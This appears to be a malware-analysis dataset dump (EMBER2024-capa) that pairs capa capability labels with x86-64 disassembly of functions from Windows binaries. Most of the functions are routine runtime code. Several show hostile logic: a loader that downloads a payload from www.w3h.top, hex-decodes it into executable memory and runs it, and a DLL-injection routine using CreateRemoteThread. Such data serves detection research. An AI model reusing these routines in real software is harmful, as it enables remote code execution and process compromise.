joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140023798
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400237c8
xor eax, eax
jmp 0x14002388b
mov rbp, rbx
cmp word [rax], si
je 0x1400237ed
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400237d4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400237d0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400236b8
movsxd r14, eax
test eax, eax
jne 0x14002382b
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
jmp 0x1400237c1
mov rcx, r14
call fcn.140024674
mov rdi, rax
test rax, rax
jne 0x140023844
xor ecx, ecx
call fcn.140021d18
jmp 0x140023820
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400236b8
test eax, eax
jne 0x140023875
mov rcx, rdi
call fcn.140021d18
jmp 0x14002387f
xor ecx, ecx
call fcn.140021d18
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400271b0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140022788
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002723a
cmp byte [rbp - 0x21], r15b
je 0x140027235
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140027270
call fcn.140024e84
test eax, eax
jne 0x14002725c
cmp byte [rbp - 0x21], r15b
je 0x140027254
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140027270
cmp byte [rbp - 0x21], r15b
je 0x14002726d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140021d68
test eax, eax
jne 0x140027310
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140022788
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400272af
cmp byte [rbp - 0x21], r15b
je 0x1400272e4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400272e4
call fcn.140024e84
test eax, eax
jne 0x1400272d0
cmp byte [rbp - 0x21], r15b
je 0x1400272c9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400272e4
cmp byte [rbp - 0x21], r15b
je 0x1400272e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140021d68
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140027310
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140027313
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140027321
mov rcx, rdi
call fcn.140021d18
cmp byte [rbp + 0x3f], r15b
je 0x140027330
mov rcx, qword [rbp + 0x27]
call fcn.140021d18
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140029b90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029bb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029bb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001698
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor esi, esi
mov dword [rsp + 0x40], 0x800
xor r9d, r9d
mov dword [rsp + 0x44], esi
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_111.0.0.0_Safari_537.36_Edg_111.0.1661.44
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x38], rsi
lea rdx, str.www.w3h.top
mov dword [rsp + 0x30], 0x800000
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_InternetConnectW]
test rax, rax
je 0x1400017cb
mov qword [rsp + 0x38], rsi
lea r8, [0x14001bb48]
mov dword [rsp + 0x30], 0x80800000
lea rdx, [0x14001bb38]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
xor r9d, r9d
mov dword [rsp + 0x20], esi
mov rcx, rax
xor r8d, r8d
xor edx, edx
mov rdi, rax
call qword [sym.imp.WININET.dll_HttpSendRequestW]
mov ecx, dword [rsp + 0x40]
call fcn.140002830
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400044c0
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rsi
mov r8, rbx
mov edx, 0x16
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
mov esi, 0xc8000
mov ecx, esi
call fcn.140002830
mov r8d, esi
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400044c0
lea r9, [rsp + 0x44]
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002530
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140001c68
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor esi, esi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], sil
jne 0x140001caa
lea rcx, [rbp - 0x30]
call fcn.140001f90
lea rcx, [rbp - 0x30]
call fcn.1400017e8
test al, al
je 0x140001e89
lea rdx, [0x1400011bc]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x1400011f8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r13, rax
mov qword [rbp - 0x40], rax
mov edi, esi
call fcn.140001698
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
inc rbx
cmp byte [rax + rbx], sil
jne 0x140001d19
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140001f90
nop
mov rcx, qword [rbp - 0x20]
shr rcx, 1
call fcn.140008f78
mov r12, rax
mov r14, qword [rbp - 0x18]
mov rsi, qword [rbp - 0x30]
cmp qword [rbp - 0x20], 0
jbe 0x140001dc1
xor ebx, ebx
cmp r14, 0x10
setae r13b
lea rcx, [rbp - 0x30]
cmp r14, 0x10
cmovae rcx, rsi
lea rax, [rbp - 0x30]
test r13b, r13b
cmovne rax, rsi
mov cl, byte [rbx + rcx + 1]
mov al, byte [rbx + rax]
mov word [rbp - 0x10], 0x7830
mov byte [rbp - 0xe], al
mov byte [rbp - 0xd], cl
mov byte [rbp - 0xc], 0
mov r8d, 0x10
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x10]
call fcn.140008a90
mov ecx, edi
test edi, edi
jns 0x140001da4
lea ecx, [rdi + 1]
sar ecx, 1
movsxd rcx, ecx
mov byte [rcx + r12], al
add edi, 2
add rbx, 2
movsxd rax, edi
cmp rax, qword [rbp - 0x20]
jb 0x140001d5a
mov r13, qword [rbp - 0x40]
mov edi, 0xf4240
mov ecx, edi
call fcn.140008f78
mov rbx, rax
test rax, rax
je 0x140001dea
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.1400044c0
mov rcx, rbx
call fcn.140008b44
movsxd rbx, dword [rbp - 0x20]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [0x140020d08]
mov rdi, rax
mov r8, rbx
mov rdx, r12
mov rcx, rax
call fcn.140007fd0
lea r9, [0x140020ce8]
lea r8, [0x1400013c8]
lea rdx, [0x14001ba00]
call fcn.14000123c
lea r9, [0x140020cd8]
lea r8, [0x140001438]
lea rdx, [0x14001ba18]
call fcn.14000123c
call rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp r14, 0x10
jb 0x140001e89
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001e81
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001eb0
mov rcx, rsi
call fcn.140002828
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002530
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
call fcn.140008f00
int3
Function at 0x140002fcc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003016
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003016
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003016
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003016
cmp dword [rcx + 0x84], 0xe
jbe 0x140003016
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003018
xor al, al
add rsp, 0x28
ret

Function at 0x140009d14
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140009b04
Function at 0x14000cba8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000cbd8
xor eax, eax
jmp 0x14000cc9b
mov rbp, rbx
cmp word [rax], si
je 0x14000cbfd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000cbe4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000cbe0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000caf8
movsxd r14, eax
test eax, eax
jne 0x14000cc3b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000cbd1
mov rcx, r14
call fcn.14000b0d0
mov rdi, rax
test rax, rax
jne 0x14000cc54
xor ecx, ecx
call fcn.14000b094
jmp 0x14000cc30
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000caf8
test eax, eax
jne 0x14000cc85
mov rcx, rdi
call fcn.14000b094
jmp 0x14000cc8f
xor ecx, ecx
call fcn.14000b094
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000fefc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000a64c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000ff86
cmp byte [rbp - 0x21], r15b
je 0x14000ff81
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000ffbc
call fcn.14000e164
test eax, eax
jne 0x14000ffa8
cmp byte [rbp - 0x21], r15b
je 0x14000ffa0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000ffbc
cmp byte [rbp - 0x21], r15b
je 0x14000ffb9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000b274
test eax, eax
jne 0x14001005c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000a64c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000fffb
cmp byte [rbp - 0x21], r15b
je 0x140010030
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140010030
call fcn.14000e164
test eax, eax
jne 0x14001001c
cmp byte [rbp - 0x21], r15b
je 0x140010015
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140010030
cmp byte [rbp - 0x21], r15b
je 0x14001002d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000b274
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001005c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001005f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001006d
mov rcx, rdi
call fcn.14000b094
cmp byte [rbp + 0x3f], r15b
je 0x14001007c
mov rcx, qword [rbp + 0x27]
call fcn.14000b094
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140012f50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140012f78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140012f78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400039f0
Capabilities:
Check if file exists
Create thread
Get file attributes
Inject thread

Disassembly:
push rbx
push rsi
sub rsp, 0x178
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x160], rax
cmp qword [rdx + 0x18], 0xf
mov rsi, rcx
mov rcx, rdx
mov rbx, rdx
jbe 0x140003a1f
mov rcx, qword [rdx]
xor r9d, r9d
lea r8, [rsp + 0x50]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x140003a55
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetFullPathNameA_failed:__d
mov ecx, 2
mov r8d, eax
call fcn.140003c30
jmp 0x140003c00
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140003a88
cmp qword [rbx + 0x18], 0xf
jbe 0x140003a6f
mov rbx, qword [rbx]
mov r8, rbx
lea rdx, str.DLL_not_found:__s
mov ecx, 1
call fcn.140003c30
jmp 0x140003c00
xor edx, edx
mov qword [rsp + 0x170], rdi
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140003ad6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.VirtualAllocEx_failed:__d
mov ecx, 2
mov r8d, eax
call fcn.140003c30
jmp 0x140003bf8
mov qword [rsp + 0x1a0], rbp
lea rax, [rsp + 0x50]
mov r9, 0xffffffffffffffff
nop word [rax + rax]
inc r9
cmp byte [rax + r9], 0
jne 0x140003af0
xor ebp, ebp
lea r8, [rsp + 0x50]
mov rdx, rdi
mov qword [rsp + 0x20], rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003b25
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.WriteProcessMemory_failed:__d
jmp 0x140003b5d
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], ebp
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, rax
test rax, rax
jne 0x140003b81
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateRemoteThread_failed:__d
mov r8d, eax
mov ecx, 2
call fcn.140003c30
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140003bf0
mov edx, 0xffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x40]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp qword [rbx + 0x18], 0xf
jbe 0x140003ba7
mov rbx, qword [rbx]
cmp dword [rsp + 0x40], 0
lea rax, str.Failed_to_inject
lea r8, str.Injected
mov r9, rbx
cmove r8, rax
lea rdx, str._s:__s
mov ecx, 2
call fcn.140003c30
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400047e0
add rsp, 0x178
pop rsi
pop rbx
ret
Function at 0x14000426c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400042a6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400042ab
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400042f4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140006460]
cmp byte [rcx + rax], 0
je 0x1400042f4
dec r8
sub rdx, 1
jne 0x1400042da
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400051d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000521e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000521e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000521e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000521e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000521e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005220
xor al, al
add rsp, 0x28
ret
Function at 0x4142e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41446b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x414345
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x414354
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x414373
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x414383
cmp rbx, 0x1000
jae 0x41434b
jmp 0x4143ed
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x414395
xor edx, edx
jmp 0x4143e4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x414379
jmp 0x414368
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x006f2b89]
mov ebx, 0x18
nop dword [rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x006f3238]
mov ebx, 0x19
nop dword [rax + rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x006f71bc]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS
Function at 0x4144a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4146c6
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x414513
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x414522
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x414545
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x414555
cmp rbx, 0x1000
jae 0x414519
nop
jmp 0x4145d8
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x41456d
xor esi, esi
jmp 0x4145ca
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x41454b
jmp 0x414536
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x414660
nop dword [rax + rax]
call sym.runtime.printlock
lea rax, [0x006f3251]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call sym.runtime.printuint
lea rax, [0x006f3238]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
call sym.runtime.printuint
nop
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x006ede94]
mov ebx, 0xd
call sym.runtime.throw
nop dword [rax + rax]
cmp eax, 0x5af
je 0x414600
call sym.runtime.printlock
lea rax, [0x006f3251]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x006f3238]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
nop dword [rax]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x006f63a6]
mov ebx, 0x1f
nop dword [rax + rax]
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp sym.runtime.sysUsedOS